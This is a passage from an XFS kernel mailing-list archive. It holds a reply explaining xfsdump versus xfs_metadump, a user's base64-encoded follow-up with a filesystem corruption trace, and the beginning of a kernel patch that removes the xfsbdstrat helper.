[141.146.116.15]) by aserz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rBH7PYvP010860; Tue, 17 Dec 2013 07:25:34 GMT Received: from [192.168.1.105] (/114.248.197.160) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 16 Dec 2013 23:25:34 -0800 Message-ID: <52AFFC69.7010007@oracle.com> Date: Tue, 17 Dec 2013 15:25:29 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Stor?? <289471341@qq.com>, xfs Subject: Re: =?UTF-8?B?44CQeGZzX21ldGFkdW1wICAgeGZzX21kcmVzdG9yZSAgeGZzZHU=?= =?UTF-8?B?bXAgIHhmc3Jlc3RvcmXjgJE=?= References: X-ASG-Orig-Subj: Re: =?UTF-8?B?44CQeGZzX21ldGFkdW1wICAgeGZzX21kcmVzdG9yZSAgeGZzZHU=?= =?UTF-8?B?bXAgIHhmc3Jlc3RvcmXjgJE=?= In-Reply-To: Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1387265137 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/17 2013 14:46 PM, Stor?? wrote: > hi: > xfsdump and xfs_metadump difference > xfs_mdrestore and xfsrestore difference Please ask man page for details. In short, xfsdump is used to perform an incremental dump of an XFS file system. corresponding, xfsrestore is used to restore the file system back from the dumps. xfs_metadump/xfs_mdrestore are used to dump/restore filesystems metadatas, but they are used for debug purpose only. Thanks, -Jeff From 289471341@qq.com Tue Dec 17 01:45:43 2013 Return-Path: <289471341@qq.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 07D447F3F for ; Tue, 17 Dec 2013 01:45:43 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BCC10304064 for ; Mon, 16 Dec 2013 23:45:42 -0800 (PST) X-ASG-Debug-ID: 1387266340-04bdf00fe0a5ea0001-NocioJ Received: from smtpbguseast2.qq.com (smtpbguseast2.qq.com [54.204.34.130]) by cuda.sgi.com with SMTP id heCqEBiWSnH47Kdj for ; Mon, 16 Dec 2013 23:45:40 -0800 (PST) X-Barracuda-Envelope-From: 289471341@qq.com X-Barracuda-Apparent-Source-IP: 54.204.34.130 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qq.com; s=s201307; t=1387266338; bh=/hNdFEP5S3ztzgi2Ny/Z8VN4hJBQiiiRwMPuxeC+R/0=; h=X-QQ-SSF:X-HAS-ATTACH:X-QQ-BUSINESS-ORIGIN:X-Originating-IP: In-Reply-To:References:X-QQ-STYLE:X-QQ-mid:From:To:Subject: Mime-Version:Content-Type:Content-Transfer-Encoding:Date: X-Priority:Message-ID:X-QQ-MIME:X-Mailer:X-QQ-Mailer: X-QQ-ReplyHash:X-QQ-SENDSIZE; b=PdUNLpJ0/rpBwIYzWM3O9nvObUzYBWTT05GrVPWPLI/vYHVOSbYOk1OAVUe/HXfPC p6mUppyp1dO7VxKa7a72YKWvHugKwdB3jYqm5rwjI1R/B1I4ozs7TgFOui5IIq//+g QA6UHCKRgevRNPkPJNBfJxlNJ/FBwpW1GTXphvX0= X-QQ-SSF: 000000000000001000000000000000R X-HAS-ATTACH: no X-QQ-BUSINESS-ORIGIN: 2 X-Originating-IP: 118.26.138.85 In-Reply-To: <52AFFC69.7010007@oracle.com> References: <52AFFC69.7010007@oracle.com> X-QQ-STYLE: X-QQ-mid: webmail539t1387266337t6705844 From: "=?utf-8?B?U3Rvcj8/?=" <289471341@qq.com> To: "=?utf-8?B?SmVmZiBMaXU=?=" , "=?utf-8?B?eGZz?=" Subject: =?utf-8?B?5Zue5aSN77yaIOOAkHhmc19tZXRhZHVtcCAgIHhm?= =?utf-8?B?c19tZHJlc3RvcmUgIHhmc2R1bXAgIHhmc3Jlc3Rv?= =?utf-8?B?cmXjgJE=?= Mime-Version: 1.0 X-ASG-Orig-Subj: =?utf-8?B?5Zue5aSN77yaIOOAkHhmc19tZXRhZHVtcCAgIHhm?= =?utf-8?B?c19tZHJlc3RvcmUgIHhmc2R1bXAgIHhmc3Jlc3Rv?= =?utf-8?B?cmXjgJE=?= Content-Type: multipart/alternative; boundary="----=_NextPart_52B00121_090FFDE8_14AAEA3F" Content-Transfer-Encoding: 8Bit Date: Tue, 17 Dec 2013 15:45:37 +0800 X-Priority: 3 Message-ID: X-QQ-MIME: TCMime 1.0 by Tencent X-Mailer: QQMail 2.x X-QQ-Mailer: QQMail 2.x X-QQ-ReplyHash: 75546609 X-QQ-SENDSIZE: 520 X-QQ-Bgrelay: 1 X-Barracuda-Connect: smtpbguseast2.qq.com[54.204.34.130] X-Barracuda-Start-Time: 1387266340 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.80 X-Barracuda-Spam-Status: No, SCORE=1.80 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0113c, DKIM_SIGNED, DKIM_VERIFIED, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, FROM_STARTS_WITH_NUMS, FROM_STARTS_WITH_NUMS_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 FROM_STARTS_WITH_NUMS From: starts with many numbers 0.00 BSF_SC0_MV0113c BSF_SC0_MV0113c -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.72 FROM_STARTS_WITH_NUMS_2 From: starts with many numbers This is a multi-part message in MIME format. ------=_NextPart_52B00121_090FFDE8_14AAEA3F Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 dGhhbmsgeW91Lg0KIDEuICBYRlMgaW50ZXJuYWwgZXJyb3IgWEZTX1dBTlRfQ09SUlVQVEVE X0dPVE8gYXQgbGluZSAxNjc2IG9mIGZpbGUgZnMveGZzL3hmc19hbGxvYy5jLiAgQ2FsbGVy IDB4ZmZmZmZmZmZhMDIzNDk2ZA0KUGlkOiA3NTc5LCBjb21tOiBzbWJkIFRhaW50ZWQ6IEcg ICAgICAgICAgMi42LjI3LjE5LTUtZGVmYXVsdCAjNw0KIENhbGwgVHJhY2U6DQogWzxmZmZm ZmZmZjgwMjBkODk5Pl0gc2hvd190cmFjZV9sb2dfbHZsKzB4NDEvMHg1OA0KIFs8ZmZmZmZm ZmY4MDIwZGVmZj5dIGR1bXBfc3RhY2srMHg2OS8weDZmDQogWzxmZmZmZmZmZmEwMjMzMDhm Pl0geGZzX2ZyZWVfYWdfZXh0ZW50KzB4NDVhLzB4NmJiIFt4ZnNdDQogWzxmZmZmZmZmZmEw MjM0OTZkPl0geGZzX2ZyZWVfZXh0ZW50KzB4YTkvMHhjOSBbeGZzXQ0KIFs8ZmZmZmZmZmZh MDIzZDQ0Nj5dIHhmc19ibWFwX2ZpbmlzaCsweGVlLzB4MTVmIFt4ZnNdDQogWzxmZmZmZmZm ZmEwMjVkNjQ3Pl0geGZzX2l0cnVuY2F0ZV9maW5pc2grMHgxOTAvMHgyYmEgW3hmc10NCiBb PGZmZmZmZmZmYTAyNzYyNmQ+XSB4ZnNfaW5hY3RpdmUrMHgyMTYvMHg0NTAgW3hmc10NCiBb PGZmZmZmZmZmYTAyODBlMDE+XSB4ZnNfZnNfY2xlYXJfaW5vZGUrMHhiMC8weGY0IFt4ZnNd DQogWzxmZmZmZmZmZjgwMmJjYTQxPl0gY2xlYXJfaW5vZGUrMHg3NS8weGNjDQogWzxmZmZm ZmZmZjgwMmJjYmI1Pl0gZ2VuZXJpY19kZWxldGVfaW5vZGUrMHhkNi8weDE0ZQ0KIFs8ZmZm ZmZmZmY4MDJiNDc2Zj5dIGRvX3VubGlua2F0KzB4ZGEvMHgxNGQNCiBbPGZmZmZmZmZmODAy MGJlZmI+XSBzeXN0ZW1fY2FsbF9mYXN0cGF0aCsweDE2LzB4MWINCiBbPDAwMDA3ZjZhZjYy NTZiNzc+XSAweDdmNmFmNjI1NmI3Nw0KIHhmc19mb3JjZV9zaHV0ZG93bihkbS0xLDB4OCkg Y2FsbGVkIGZyb20gbGluZSA0MjY5IG9mIGZpbGUgZnMveGZzL3hmc19ibWFwLmMuICBSZXR1 cm4gYWRkcmVzcyA9IDB4ZmZmZmZmZmZhMDIzZDQ3Yg0KRmlsZXN5c3RlbSAiZG0tMSI6IENv cnJ1cHRpb24gb2YgaW4tbWVtb3J5IGRhdGEgZGV0ZWN0ZWQuICBTaHV0dGluZyBkb3duIGZp bGVzeXN0ZW06IGRtLTENClBsZWFzZSB1bW91bnQgdGhlIGZpbGVzeXN0ZW0sIGFuZCByZWN0 aWZ5IHRoZSBwcm9ibGVtKHMpDQpGaWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTog ZXJyb3IgNSByZXR1cm5lZC4NCkZpbGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBl cnJvciA1IHJldHVybmVkLg0KRmlsZXN5c3RlbSAiZG0tMSI6IHhmc19sb2dfZm9yY2U6IGVy cm9yIDUgcmV0dXJuZWQuDQpGaWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTogZXJy b3IgNSByZXR1cm5lZC4NCkZpbGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBlcnJv ciA1IHJldHVybmVkLg0KRmlsZXN5c3RlbSAiZG0tMSI6IHhmc19sb2dfZm9yY2U6IGVycm9y IDUgcmV0dXJuZWQuDQpGaWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTogZXJyb3Ig NSByZXR1cm5lZC4NCkZpbGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBlcnJvciA1 IHJldHVybmVkLg0KICANCiBXaHkgaXMgdGhpcyBzbywgDQoNCiBJbiBvcmRlciB0byBwcm90 ZWN0IHRoZSBkYXRhLldoaWNoIGNvbW1hbmQgd2l0aCB0aGUgYmFja3VwIGZpbGUgc3lzdGVt LiB4ZnNfZHVtcCBvciB4ZnNfbWV0YWR1bXAuDQoNCiAtLS0tLS0tLS0tLS0tLS0tLS0g5Y6f 5aeL6YKu5Lu2IC0tLS0tLS0tLS0tLS0tLS0tLQ0KICDlj5Hku7bkuro6ICJKZWZmIExpdSI7 PGplZmYubGl1QG9yYWNsZS5jb20+Ow0KIOWPkemAgeaXtumXtDogMjAxM+W5tDEy5pyIMTfm l6Uo5pif5pyf5LqMKSDkuIvljYgzOjI1DQog5pS25Lu25Lq6OiAiU3RvcsK+IjwyODk0NzEz NDFAcXEuY29tPjsgInhmcyI8eGZzQG9zcy5zZ2kuY29tPjsgDQogDQog5Li76aKYOiBSZTog 44CQeGZzX21ldGFkdW1wIHhmc19tZHJlc3RvcmUgeGZzZHVtcCB4ZnNyZXN0b3Jl44CRDQoN CiANCg0KT24gMTIvMTcgMjAxMyAxNDo0NiBQTSwgU3Rvcj8/IHdyb3RlOg0KPiBoaToNCj4g ICB4ZnNkdW1wIGFuZCB4ZnNfbWV0YWR1bXAgZGlmZmVyZW5jZQ0KPiB4ZnNfbWRyZXN0b3Jl IGFuZCB4ZnNyZXN0b3JlIGRpZmZlcmVuY2UNClBsZWFzZSBhc2sgbWFuIHBhZ2UgZm9yIGRl dGFpbHMuDQoNCkluIHNob3J0LCB4ZnNkdW1wIGlzIHVzZWQgdG8gcGVyZm9ybSBhbiBpbmNy ZW1lbnRhbCBkdW1wIG9mIGFuIFhGUyBmaWxlDQpzeXN0ZW0uICBjb3JyZXNwb25kaW5nLCB4 ZnNyZXN0b3JlIGlzIHVzZWQgdG8gcmVzdG9yZSB0aGUgZmlsZSBzeXN0ZW0gYmFjaw0KZnJv bSB0aGUgZHVtcHMuDQoNCnhmc19tZXRhZHVtcC94ZnNfbWRyZXN0b3JlIGFyZSB1c2VkIHRv IGR1bXAvcmVzdG9yZSBmaWxlc3lzdGVtcyBtZXRhZGF0YXMsDQpidXQgdGhleSBhcmUgdXNl ZCBmb3IgZGVidWcgcHVycG9zZSBvbmx5Lg0KDQpUaGFua3MsDQotSmVmZg0KLg== ------=_NextPart_52B00121_090FFDE8_14AAEA3F Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: base64 PERJVj4mbmJzcDs8L0RJVj4NCjxESVY+Jm5ic3A7dGhhbmsgeW91LjwvRElWPg0KPERJVj4x LiZuYnNwOyBYRlMgaW50ZXJuYWwgZXJyb3IgWEZTX1dBTlRfQ09SUlVQVEVEX0dPVE8gYXQg bGluZSAxNjc2IG9mIGZpbGUgZnMveGZzL3hmc19hbGxvYy5jLiZuYnNwOyBDYWxsZXIgMHhm ZmZmZmZmZmEwMjM0OTZkPEJSPlBpZDogNzU3OSwgY29tbTogc21iZCBUYWludGVkOiBHJm5i c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IDIu Ni4yNy4xOS01LWRlZmF1bHQgIzc8L0RJVj4NCjxESVY+Q2FsbCBUcmFjZTo8QlI+Jm5ic3A7 WyZsdDtmZmZmZmZmZjgwMjBkODk5Jmd0O10gc2hvd190cmFjZV9sb2dfbHZsKzB4NDEvMHg1 ODxCUj4mbmJzcDtbJmx0O2ZmZmZmZmZmODAyMGRlZmYmZ3Q7XSBkdW1wX3N0YWNrKzB4Njkv MHg2ZjxCUj4mbmJzcDtbJmx0O2ZmZmZmZmZmYTAyMzMwOGYmZ3Q7XSB4ZnNfZnJlZV9hZ19l eHRlbnQrMHg0NWEvMHg2YmIgW3hmc108QlI+Jm5ic3A7WyZsdDtmZmZmZmZmZmEwMjM0OTZk Jmd0O10geGZzX2ZyZWVfZXh0ZW50KzB4YTkvMHhjOSBbeGZzXTxCUj4mbmJzcDtbJmx0O2Zm ZmZmZmZmYTAyM2Q0NDYmZ3Q7XSB4ZnNfYm1hcF9maW5pc2grMHhlZS8weDE1ZiBbeGZzXTxC Uj4mbmJzcDtbJmx0O2ZmZmZmZmZmYTAyNWQ2NDcmZ3Q7XSB4ZnNfaXRydW5jYXRlX2Zpbmlz aCsweDE5MC8weDJiYSBbeGZzXTxCUj4mbmJzcDtbJmx0O2ZmZmZmZmZmYTAyNzYyNmQmZ3Q7 XSB4ZnNfaW5hY3RpdmUrMHgyMTYvMHg0NTAgW3hmc108QlI+Jm5ic3A7WyZsdDtmZmZmZmZm ZmEwMjgwZTAxJmd0O10geGZzX2ZzX2NsZWFyX2lub2RlKzB4YjAvMHhmNCBbeGZzXTxCUj4m bmJzcDtbJmx0O2ZmZmZmZmZmODAyYmNhNDEmZ3Q7XSBjbGVhcl9pbm9kZSsweDc1LzB4Y2M8 QlI+Jm5ic3A7WyZsdDtmZmZmZmZmZjgwMmJjYmI1Jmd0O10gZ2VuZXJpY19kZWxldGVfaW5v ZGUrMHhkNi8weDE0ZTxCUj4mbmJzcDtbJmx0O2ZmZmZmZmZmODAyYjQ3NmYmZ3Q7XSBkb191 bmxpbmthdCsweGRhLzB4MTRkPEJSPiZuYnNwO1smbHQ7ZmZmZmZmZmY4MDIwYmVmYiZndDtd IHN5c3RlbV9jYWxsX2Zhc3RwYXRoKzB4MTYvMHgxYjxCUj4mbmJzcDtbJmx0OzAwMDA3ZjZh ZjYyNTZiNzcmZ3Q7XSAweDdmNmFmNjI1NmI3NzwvRElWPg0KPERJVj54ZnNfZm9yY2Vfc2h1 dGRvd24oZG0tMSwweDgpIGNhbGxlZCBmcm9tIGxpbmUgNDI2OSBvZiBmaWxlIGZzL3hmcy94 ZnNfYm1hcC5jLiZuYnNwOyBSZXR1cm4gYWRkcmVzcyA9IDB4ZmZmZmZmZmZhMDIzZDQ3YjxC Uj5GaWxlc3lzdGVtICJkbS0xIjogQ29ycnVwdGlvbiBvZiBpbi1tZW1vcnkgZGF0YSBkZXRl Y3RlZC4mbmJzcDsgU2h1dHRpbmcgZG93biBmaWxlc3lzdGVtOiBkbS0xPEJSPlBsZWFzZSB1 bW91bnQgdGhlIGZpbGVzeXN0ZW0sIGFuZCByZWN0aWZ5IHRoZSBwcm9ibGVtKHMpPEJSPkZp bGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBlcnJvciA1IHJldHVybmVkLjxCUj5G aWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTogZXJyb3IgNSByZXR1cm5lZC48QlI+ RmlsZXN5c3RlbSAiZG0tMSI6IHhmc19sb2dfZm9yY2U6IGVycm9yIDUgcmV0dXJuZWQuPEJS PkZpbGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBlcnJvciA1IHJldHVybmVkLjxC Uj5GaWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTogZXJyb3IgNSByZXR1cm5lZC48 QlI+RmlsZXN5c3RlbSAiZG0tMSI6IHhmc19sb2dfZm9yY2U6IGVycm9yIDUgcmV0dXJuZWQu PEJSPkZpbGVzeXN0ZW0gImRtLTEiOiB4ZnNfbG9nX2ZvcmNlOiBlcnJvciA1IHJldHVybmVk LjxCUj5GaWxlc3lzdGVtICJkbS0xIjogeGZzX2xvZ19mb3JjZTogZXJyb3IgNSByZXR1cm5l ZC48L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPldoeSBpcyB0aGlzIHNvLCA8QlI+ PC9ESVY+DQo8RElWPkluIG9yZGVyIHRvIHByb3RlY3QgdGhlIGRhdGEuV2hpY2ggY29tbWFu ZCB3aXRoIHRoZSBiYWNrdXAgZmlsZSBzeXN0ZW0uIHhmc19kdW1wIG9yIHhmc19tZXRhZHVt cC48QlI+PC9ESVY+DQo8RElWIHN0eWxlPSJQQURESU5HLUJPVFRPTTogMnB4OyBQQURESU5H LUxFRlQ6IDBweDsgUEFERElORy1SSUdIVDogMHB4OyBGT05ULUZBTUlMWTogQXJpYWwgTmFy cm93OyBGT05ULVNJWkU6IDEycHg7IFBBRERJTkctVE9QOiAycHgiPi0tLS0tLS0tLS0tLS0t LS0tLSZuYnNwO+WOn+Wni+mCruS7tiZuYnNwOy0tLS0tLS0tLS0tLS0tLS0tLTwvRElWPg0K PERJViBzdHlsZT0iUEFERElORy1CT1RUT006IDhweDsgUEFERElORy1MRUZUOiA4cHg7IFBB RERJTkctUklHSFQ6IDhweDsgQkFDS0dST1VORDogI2VmZWZlZjsgRk9OVC1TSVpFOiAxMnB4 OyBQQURESU5HLVRPUDogOHB4Ij4NCjxESVY+PEI+5Y+R5Lu25Lq6OjwvQj4mbmJzcDsiSmVm ZiBMaXUiOyZsdDtqZWZmLmxpdUBvcmFjbGUuY29tJmd0Ozs8L0RJVj4NCjxESVY+PEI+5Y+R 6YCB5pe26Ze0OjwvQj4mbmJzcDsyMDEz5bm0MTLmnIgxN+aXpSjmmJ/mnJ/kuowpIOS4i+WN iDM6MjU8L0RJVj4NCjxESVY+PEI+5pS25Lu25Lq6OjwvQj4mbmJzcDsiU3RvcsK+IiZsdDsy ODk0NzEzNDFAcXEuY29tJmd0OzsgInhmcyImbHQ7eGZzQG9zcy5zZ2kuY29tJmd0OzsgPFdC Uj48L0RJVj4NCjxESVY+PC9ESVY+DQo8RElWPjxCPuS4u+mimDo8L0I+Jm5ic3A7UmU6IOOA kHhmc19tZXRhZHVtcCB4ZnNfbWRyZXN0b3JlIHhmc2R1bXAgeGZzcmVzdG9yZeOAkTwvRElW PjwvRElWPg0KPERJVj48QlI+PC9ESVY+T24gMTIvMTcgMjAxMyAxNDo0NiBQTSwgU3Rvcj8/ IHdyb3RlOjxCUj4mZ3Q7IGhpOjxCUj4mZ3Q7Jm5ic3A7Jm5ic3A7IHhmc2R1bXAgYW5kIHhm c19tZXRhZHVtcCBkaWZmZXJlbmNlPEJSPiZndDsgeGZzX21kcmVzdG9yZSBhbmQgeGZzcmVz dG9yZSBkaWZmZXJlbmNlPEJSPlBsZWFzZSBhc2sgbWFuIHBhZ2UgZm9yIGRldGFpbHMuPEJS PjxCUj5JbiBzaG9ydCwgeGZzZHVtcCBpcyB1c2VkIHRvIHBlcmZvcm0gYW4gaW5jcmVtZW50 YWwgZHVtcCBvZiBhbiBYRlMgZmlsZTxCUj5zeXN0ZW0uJm5ic3A7IGNvcnJlc3BvbmRpbmcs IHhmc3Jlc3RvcmUgaXMgdXNlZCB0byByZXN0b3JlIHRoZSBmaWxlIHN5c3RlbSBiYWNrPEJS PmZyb20gdGhlIGR1bXBzLjxCUj48QlI+eGZzX21ldGFkdW1wL3hmc19tZHJlc3RvcmUgYXJl IHVzZWQgdG8gZHVtcC9yZXN0b3JlIGZpbGVzeXN0ZW1zIG1ldGFkYXRhcyw8QlI+YnV0IHRo ZXkgYXJlIHVzZWQgZm9yIGRlYnVnIHB1cnBvc2Ugb25seS48QlI+PEJSPlRoYW5rcyw8QlI+ LUplZmY8QlI+LjxCUj4NCjxESVY+PC9ESVY+ ------=_NextPart_52B00121_090FFDE8_14AAEA3F-- From BATV+a6d751298eaf2f0dafcd+3768+infradead.org+hch@bombadil.srs.infradead.org Tue Dec 17 02:04:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 131B07F3F for ; Tue, 17 Dec 2013 02:04:01 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 05C14304064 for ; Tue, 17 Dec 2013 00:03:57 -0800 (PST) X-ASG-Debug-ID: 1387267432-04cbb041667c3650001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id U3aArfuXQRTGKzVr (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Tue, 17 Dec 2013 00:03:53 -0800 (PST) X-Barracuda-Envelope-From: BATV+a6d751298eaf2f0dafcd+3768+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VspdA-0001gt-86; Tue, 17 Dec 2013 08:03:52 +0000 Date: Tue, 17 Dec 2013 00:03:52 -0800 From: Christoph Hellwig To: Ben Myers Cc: Christoph Hellwig , Dave Chinner , xfs@oss.sgi.com Subject: [PATCH v2] xfs: remove xfsbdstrat error. Message-ID: <20131217080352.GA2237@infradead.org> X-ASG-Orig-Subj: [PATCH v2] xfs: remove xfsbdstrat error. References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-2-git-send-email-david@fromorbit.com> <20131213130230.GA22594@infradead.org> <20131216224432.GP1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131216224432.GP1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387267433 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.13 X-Barracuda-Spam-Status: No, SCORE=0.13 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_NOVOWEL X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.13 SUBJECT_NOVOWEL Subject: has long non-vowel letter sequence The xfsbdstrat helper is a small but useless wrapper for xfs_buf_iorequest that handles the case of a shut down filesystem. Most of the users have private, uncached buffers that can just be freed in this case, but the complex error handling in xfs_bioerror_relse messes up the case when it's called without a locked buffer. Remove xfsbdstrat and opencode the error handling in the callers. All but one can simply return an error and don't need to deal with buffer state, and the one caller that cares about the buffer state could do with a major cleanup as well, but we'll defer that to later. Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 6fc6bbe..16646e4 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -1209,7 +1209,12 @@ xfs_zero_remaining_bytes( XFS_BUF_UNWRITE(bp); XFS_BUF_READ(bp); XFS_BUF_SET_ADDR(bp, xfs_fsb_to_db(ip, imap.br_startblock)); - xfsbdstrat(mp, bp); + + if (XFS_FORCED_SHUTDOWN(mp)) { + error = XFS_ERROR(EIO); + break; + } + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, @@ -1222,7 +1227,12 @@ xfs_zero_remaining_bytes( XFS_BUF_UNDONE(bp); XFS_BUF_UNREAD(bp); XFS_BUF_WRITE(bp); - xfsbdstrat(mp, bp); + + if (XFS_FORCED_SHUTDOWN(mp)) { + error = XFS_ERROR(EIO); + break; + } + xfs_buf_iorequest(bp); error = xfs_buf_iowait(bp); if (error) { xfs_buf_ioerror_alert(bp, diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index ce01c1a..544315e 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -698,7 +698,11 @@ xfs_buf_read_uncached( bp->b_flags |= XBF_READ; bp->b_ops = ops; - xfsbdstrat(target->bt_mount, bp); + if (XFS_FORCED_SHUTDOWN(target->bt_mount)) { + xfs_buf_relse(bp); + return NULL; + } + xfs_buf_iorequest(bp); xfs_buf_iowait(bp); return bp; } @@ -1089,7 +1093,7 @@ xfs_bioerror( * This is meant for userdata errors; metadata bufs come with * iodone functions attached, so that we can track down errors. */ -STATIC int +int xfs_bioerror_relse( struct xfs_buf *bp) { @@ -1164,25 +1168,6 @@ xfs_bwrite( return error; } -/* - * Wrapper around bdstrat so that we can stop data from going to disk in case - * we are shutting down the filesystem. Typically user data goes thru this - * path; one of the exceptions is the superblock. - */ -void -xfsbdstrat( - struct xfs_mount *mp, - struct xfs_buf *bp) -{ - if (XFS_FORCED_SHUTDOWN(mp)) { - trace_xfs_bdstrat_shut(bp, _RET_IP_); - xfs_bioerror_relse(bp); - return; - } - - xfs_buf_iorequest(bp); -} - STATIC void _xfs_buf_ioend( xfs_buf_t *bp, diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index e656833..7e41b08 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -269,9 +269,6 @@ extern void xfs_buf_unlock(xfs_buf_t *); /* Buffer Read and Write Routines */ extern int xfs_bwrite(struct xfs_buf *bp); - -extern void xfsbdstrat(struct xfs_mount *, struct xfs_buf *); - extern void xfs_buf_ioend(xfs_buf_t *, int); extern void xfs_buf_ioerror(xfs_buf_t *, int); extern void xfs_buf_ioerror_alert(struct xfs_buf *, const char *func); @@ -282,6 +279,8 @@ extern void xfs_buf_iomove(xfs_buf_t *, size_t, size_t, void *, #define xfs_buf_zero(bp, off, len) \ xfs_buf_iomove((bp), (off), (len), NULL, XBRW_ZERO) +extern int xfs_bioerror_relse(struct xfs_buf *); + static inline int xfs_buf_geterror(xfs_buf_t *bp) { return bp ? bp->b_error : ENOMEM; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 07ab52c..f6c5ede 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -193,7 +193,10 @@ xlog_bread_noalign( bp->b_io_length = nbblks; bp->b_error = 0; - xfsbdstrat(log->l_mp, bp); + if (XFS_FORCED_SHUTDOWN(log->l_mp)) + return XFS_ERROR(EIO); + + 